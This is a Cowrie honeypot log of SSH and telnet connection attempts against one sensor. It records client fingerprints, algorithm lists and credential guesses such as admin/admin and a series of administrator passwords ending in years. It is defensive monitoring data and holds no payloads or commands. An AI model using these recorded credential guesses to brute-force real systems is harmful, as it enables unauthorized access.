-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:59.874980Z","src_ip":"77.53.238.44","session":"71ebb7fde391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:00.357527Z","src_ip":"77.53.238.44","session":"71ebb7fde391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:01.473850Z","src_ip":"77.53.238.44","session":"71ebb7fde391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.53.238.44","src_port":44862,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a23a0f829dd","protocol":"ssh","message":"New connection: 77.53.238.44:44862 (159.203.135.109:22) [session: 2a23a0f829dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:01.577943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:01.583075Z","src_ip":"77.53.238.44","session":"2a23a0f829dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:01.709061Z","src_ip":"77.53.238.44","session":"2a23a0f829dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:02.062140Z","src_ip":"77.53.238.44","session":"2a23a0f829dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:02.172672Z","src_ip":"77.53.238.44","session":"2a23a0f829dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45074,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad08d29a19d","protocol":"ssh","message":"New connection: 159.203.92.129:45074 (159.203.135.109:22) [session: 9ad08d29a19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:37.492096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:37.496338Z","src_ip":"159.203.92.129","session":"9ad08d29a19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:37.500237Z","src_ip":"159.203.92.129","session":"9ad08d29a19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2020","message":"login attempt [administrator/administrator2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:37.510429Z","src_ip":"159.203.92.129","session":"9ad08d29a19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:38.516861Z","src_ip":"159.203.92.129","session":"9ad08d29a19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":10667,"dst_ip":"159.203.135.109","dst_port":22,"session":"4363d91de0f0","protocol":"ssh","message":"New connection: 125.166.19.90:10667 (159.203.135.109:22) [session: 4363d91de0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:45.078587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:45.083110Z","src_ip":"125.166.19.90","session":"4363d91de0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:45.353410Z","src_ip":"125.166.19.90","session":"4363d91de0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"abc123","message":"login attempt [develop/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:46.463506Z","src_ip":"125.166.19.90","session":"4363d91de0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:17:47.735125Z","src_ip":"125.166.19.90","session":"4363d91de0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39216,"dst_ip":"159.203.135.109","dst_port":22,"session":"d67e430dcff4","protocol":"ssh","message":"New connection: 159.203.92.129:39216 (159.203.135.109:22) [session: d67e430dcff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:22.935778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:22.940712Z","src_ip":"159.203.92.129","session":"d67e430dcff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:22.946042Z","src_ip":"159.203.92.129","session":"d67e430dcff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2021","message":"login attempt [administrator/administrator2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:22.958484Z","src_ip":"159.203.92.129","session":"d67e430dcff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:23.967583Z","src_ip":"159.203.92.129","session":"d67e430dcff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":43622,"dst_ip":"159.203.135.109","dst_port":22,"session":"394f739cc7d9","protocol":"ssh","message":"New connection: 185.40.30.168:43622 (159.203.135.109:22) [session: 394f739cc7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:34.794760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:34.799858Z","src_ip":"185.40.30.168","session":"394f739cc7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:34.928561Z","src_ip":"185.40.30.168","session":"394f739cc7d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"000","message":"login attempt [ubuntu/000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:35.486655Z","src_ip":"185.40.30.168","session":"394f739cc7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:36.617774Z","src_ip":"185.40.30.168","session":"394f739cc7d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.74.190.208","src_port":49892,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad15580820a","protocol":"telnet","message":"New connection: 116.74.190.208:49892 (10.17.0.5:23) [session: aad15580820a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:18:56.618842Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55970,"dst_ip":"159.203.135.109","dst_port":22,"session":"03f6c26f7e90","protocol":"ssh","message":"New connection: 159.203.92.129:55970 (159.203.135.109:22) [session: 03f6c26f7e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:07.622824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:07.628690Z","src_ip":"159.203.92.129","session":"03f6c26f7e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:07.633623Z","src_ip":"159.203.92.129","session":"03f6c26f7e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2022","message":"login attempt [administrator/administrator2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:07.646696Z","src_ip":"159.203.92.129","session":"03f6c26f7e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:08.654438Z","src_ip":"159.203.92.129","session":"03f6c26f7e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.944923877716064,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:09.563631Z","src_ip":"116.74.190.208","session":"aad15580820a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5f7f3919f3f","protocol":"ssh","message":"New connection: 159.203.92.129:59224 (159.203.135.109:22) [session: a5f7f3919f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:52.573244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:52.578172Z","src_ip":"159.203.92.129","session":"a5f7f3919f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:52.583016Z","src_ip":"159.203.92.129","session":"a5f7f3919f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2023","message":"login attempt [administrator/administrator2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:52.593591Z","src_ip":"159.203.92.129","session":"a5f7f3919f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:19:53.601440Z","src_ip":"159.203.92.129","session":"a5f7f3919f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":17508,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4aa497ca512","protocol":"ssh","message":"New connection: 125.166.19.90:17508 (159.203.135.109:22) [session: b4aa497ca512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:16.000717Z"}
